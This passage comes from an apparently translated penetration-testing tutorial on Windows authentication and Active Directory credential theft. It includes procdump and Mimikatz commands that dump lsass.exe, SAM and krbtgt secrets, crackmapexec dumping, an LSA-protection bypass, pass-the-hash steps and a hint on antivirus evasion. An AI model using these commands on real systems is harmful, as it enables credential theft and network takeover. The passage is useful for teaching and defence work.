above.&lt;/p&gt;&#10;&lt;p&gt;Use &lt;code&gt;net user /domain&lt;/code&gt; to view accounts in the domain and &lt;code&gt;net group &amp;quot;domain controllers&amp;quot; /domain&lt;/code&gt; to view the domain controllers. You can quickly check your own privileges with &lt;code&gt;whoami /user&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h3 id="3-local-authentication"&gt;&lt;a href="#3-local-authentication" class="header-anchor"&gt;&lt;/a&gt;3. Local Authentication&#10;&lt;/h3&gt;&lt;h4 id="-windows-local-authentication"&gt;&lt;a href="#-windows-local-authentication" class="header-anchor"&gt;&lt;/a&gt;① Windows Local Authentication&#10;&lt;/h4&gt;&lt;p&gt;Before we start attacking, we need to understand how windows authentication works.&lt;/p&gt;&#10;&lt;p&gt;From studying the operating system, we know that &lt;code&gt;C:\Windows\System32\config\SAM&lt;/code&gt; is the database file that stores host account passwords.&lt;/p&gt;&#10;&lt;p&gt;The windows login process is actually quite simple. winlogin.exe starts, and when the user enters an account name and password, they are sent to lsass.exe. lsass.exe converts the plaintext entered by the user into an NTLM hash and compares it with the data stored in the SAM file. If they match, the login succeeds.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Windows Logon is the user login program in the Windows operating system. It manages user login and logout and provides the interface where users enter their account names and passwords, also known as the login page or login screen.&lt;/p&gt;&#10;&lt;p&gt;lsass is part of the Microsoft windows security mechanism. It is a critical Windows operating-system process responsible for local security and login policies. It starts automatically when Windows boots and continues running in the background.&lt;/p&gt;&#10;&lt;h4 id="-ntlm-hash"&gt;&lt;a href="#-ntlm-hash" class="header-anchor"&gt;&lt;/a&gt;② NTLM hash&#10;&lt;/h4&gt;&lt;p&gt;Of course, windows itself does not store plaintext passwords. The SAM file stores password hashes. During login, the user&amp;rsquo;s input is first converted into a hash before the comparison is performed.&lt;/p&gt;&#10;&lt;p&gt;Hashes are generally stored in two places:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;The SAM file, stored on the local machine =&amp;gt; corresponds to local users&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;The NTDS.DIT file, stored on the domain controller =&amp;gt; corresponds to domain users&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="1-hashing-process"&gt;&lt;a href="#1-hashing-process" class="header-anchor"&gt;&lt;/a&gt;1. Hashing Process&#10;&lt;/h5&gt;&lt;p&gt;The plaintext password entered by the user =&amp;gt; hexadecimal =&amp;gt; unicode =&amp;gt; md4 algorithm =&amp;gt; NTLM hash. As you can see, the entire process is fairly simple.&lt;/p&gt;&#10;&lt;h5 id="2-stored-password-format"&gt;&lt;a href="#2-stored-password-format" class="header-anchor"&gt;&lt;/a&gt;2. Stored Password Format&#10;&lt;/h5&gt;&lt;p&gt;Example: administrator:500:LM hash:NTLM hash&lt;/p&gt;&#10;&lt;p&gt;The username comes first, followed by the user&amp;rsquo;s SID, then the LM hash and NTLM hash.&lt;/p&gt;&#10;&lt;p&gt;If the LM Hash begins with AAD3B, the password is empty or has not been set.&lt;/p&gt;&#10;&lt;p&gt;LM Hash stands for “LAN Manager Hash.” It is a hashing algorithm Microsoft adopted to improve the security of the Windows operating system, and it is essentially based on DES encryption. Although LM Hash is relatively easy to crack, Windows only disabled it to maintain system compatibility (starting with Windows Vista and Windows Server 2008, Windows disables LM Hash by default). LM Hash plaintext passwords are limited to 14 characters, so if you want to stop using LM Hash, simply set the user&amp;rsquo;s password to more than 14 characters.&lt;/p&gt;&#10;&lt;h5 id="3-lsassexe"&gt;&lt;a href="#3-lsassexe" class="header-anchor"&gt;&lt;/a&gt;3. lsass.exe&#10;&lt;/h5&gt;&lt;p&gt;During lateral movement and privilege escalation on an internal network, the most common approach is to &lt;code&gt;dump the lsass.exe process to obtain plaintext passwords or hashes&lt;/code&gt;. lsass.exe (Local Security Authority SubsystemService) is a system process used by the Microsoft Windows security mechanism for local security and login policies. Its process space contains important information such as the machine&amp;rsquo;s domain, local usernames, and passwords. However, you must &lt;code&gt;first obtain high privileges&lt;/code&gt; before you can access it.&lt;/p&gt;&#10;&lt;h3 id="4-extracting-passwords-from-lsassexe"&gt;&lt;a href="#4-extracting-passwords-from-lsassexe" class="header-anchor"&gt;&lt;/a&gt;4. Extracting Passwords from lsass.exe&#10;&lt;/h3&gt;&lt;h4 id="-procdump"&gt;&lt;a href="#-procdump" class="header-anchor"&gt;&lt;/a&gt;① Procdump&#10;&lt;/h4&gt;&lt;p&gt;procdump is a command-line tool mainly used to monitor abnormal CPU activity in applications and create memory dumps. As mentioned above, plaintext and encrypted passwords are both stored in lsass, so procdump can dump lsass&amp;rsquo;s memory resources. Here are some of its parameters.&lt;/p&gt;&#10;&lt;h5 id="1-relevant-parameters"&gt;&lt;a href="#1-relevant-parameters" class="header-anchor"&gt;&lt;/a&gt;1. Relevant Parameters&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;-ma: Writes a “full” dump file. [Includes all memory (images, mappings, and private memory), as well as all metadata for processes, threads, modules, handles, address spaces, and so on.]&lt;/li&gt;&#10;&lt;li&gt;-accepteula: Automatically accepts the Sysinternals license agreement when this command-line option is used.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="2-basic-usage"&gt;&lt;a href="#2-basic-usage" class="header-anchor"&gt;&lt;/a&gt;2. Basic Usage&#10;&lt;/h5&gt;&lt;p&gt;It is very straightforward: specify the options and the process whose memory you want to dump, then provide an output filename. You immediately get a memory dump file with the .dmp extension. (This requires a command-line window running with administrator privileges.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -ma -accepteula lsass.exe passwd.dmp # Dump in-memory hashes locally as passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pypykatz lsa minidump ./pass.dmp # This works very well&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Normally, we cannot open passwd.dmp directly; opening it in Notepad only shows garbled text. This is where another small tool, Mimikatz, comes in to read passwd.dmp.&lt;/p&gt;&#10;&lt;h4 id="-mimikatz"&gt;&lt;a href="#-mimikatz" class="header-anchor"&gt;&lt;/a&gt;② Mimikatz&#10;&lt;/h4&gt;&lt;p&gt;Mimikatz is a powerful, lightweight debugging tool developed by the French researcher benjamin. It was originally intended for personal testing, but its powerful ability to read plaintext passwords directly from operating systems such as WindowsXP-2012 made it famous in penetration testing. You could call it an essential penetration-testing tool.&lt;/p&gt;&#10;&lt;h5 id="1-relevant-parameters-1"&gt;&lt;a href="#1-relevant-parameters-1" class="header-anchor"&gt;&lt;/a&gt;1. Relevant Parameters&#10;&lt;/h5&gt;&lt;p&gt;Mimikatz has many parameters, so I will only cover the commonly used ones here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # :: Display help&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # cls Clear the screen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # log Log captured information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # hostname View the hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;privilege module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;(This requires a command-line window running with administrator privileges.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # privilege::debug Elevate Mimikatz privileges using its built-in exploit against the current host&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;sekurlsa module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Extract passwords for users logged on to the current system; elevate Mimikatz privileges first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords Retrieve all account passwords; simpler than using Procdump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Capture user NTLM hashes from memory and list LM and NTLM credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::msv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Load the DMP file and extract plaintext passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::minidump passwd.dmp Switch context&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords full List all available credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. Export all tickets from the lsass.exe process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::tickets /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. List Kerberos credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::kerberos Retrieve in-domain Kerberos authentication data, including account passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. Pass the hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::pth&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;lsadump module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # lsadump::sam Read the SAM file to obtain usernames and NTLM hashes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # lsadump::secrets Retrieve the current user&amp;#39;s password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # lsadump::dcsync /user:krbtgt Retrieve krbtgt user information from the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;kerberos module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. List tickets on the system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::list List tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::tgt List tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Clear tickets from the system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::purge Clear tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Import a ticket into the system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::ptc TICKET_PATH&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;process module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # process::start command Start a process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # process::stop command Stop a process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # process::list List processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Mimikatz works so well that antivirus software will flag it. If you plan to run Mimikatz on a target machine, first consider whether you need to make it evade detection.&lt;/p&gt;&#10;&lt;h5 id="2-basic-usage-1"&gt;&lt;a href="#2-basic-usage-1" class="header-anchor"&gt;&lt;/a&gt;2. Basic Usage&#10;&lt;/h5&gt;&lt;p&gt;Mimikatz can extract plaintext passwords from memory. After loading the dmp file obtained with procdump using &lt;code&gt;sekurlsa::minidump&lt;/code&gt;, you can read passwords with commands such as &lt;code&gt;sekurlsa::logonpasswords full&lt;/code&gt;. The result looks like this:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump ./passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::logonpasswords full&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here, we can see administrator information in the screenshot. Getting this information in a real environment basically means the engagement is over.&lt;/p&gt;&#10;&lt;h5 id="3-advanced-usage"&gt;&lt;a href="#3-advanced-usage" class="header-anchor"&gt;&lt;/a&gt;3. Advanced Usage&#10;&lt;/h5&gt;&lt;p&gt;① Use Mimikatz with a dump file created by procdump to extract credentials.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # log //Log captured information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::minidump passwd.dmp //Switch context by mounting the DMP file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords //List all available credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;② Use Mimikatz directly to extract credentials (administrative privileges required).&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikata # log //Log captured information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # privilege::debug //Elevate privileges to enable privileged Mimikatz operations&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::msv //Extract hashes from memory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords //List all available credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="with-local-administrator-privileges"&gt;&lt;a href="#with-local-administrator-privileges" class="header-anchor"&gt;&lt;/a&gt;With Local Administrator Privileges&#10;&lt;/h3&gt;&lt;h4 id="extract-passwords"&gt;&lt;a href="#extract-passwords" class="header-anchor"&gt;&lt;/a&gt;Extract Passwords&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -accepteula -ma lsass.exe lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::minidump lsass.dmp&amp;#34; &amp;#34;sekurlsa::logonPasswords&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;lsadump::sam&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashdump: post/windows/gather/smart_hashdump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip_range&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;lt;password&amp;gt; -M lsassy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip_range&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;#39;&amp;lt;password&amp;gt;&amp;#39; --sam / --lsa / --ntds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="bypass-the-lsa-protection-policy-to-read-passwords"&gt;&lt;a href="#bypass-the-lsa-protection-policy-to-read-passwords" class="header-anchor"&gt;&lt;/a&gt;Bypass the LSA Protection Policy to Read Passwords&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PPLdump64.exe &amp;lt;lsass.exe|lsass_pid&amp;gt; lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;!+&amp;#34; &amp;#34;!processprotect /process:lsass.exe /remove&amp;#34; &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;!processprotect /process:lsass.exe&amp;#34; &amp;#34;!-&amp;#34; #with mimidriver.sys&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Workflow summary:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Obtain the NTLM hash&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use procdump/PPLdump to dump the lsass process&lt;/li&gt;&#10;&lt;li&gt;Use mimikatz to analyze the dump file and extract the hash&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Choose a path using the NTLM hash:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Crack the hash to obtain the plaintext password&lt;/li&gt;&#10;&lt;li&gt;Use the hash directly in a PTH attack (when it cannot be cracked)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Key points:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;NTLM hashes are generated the same way on all 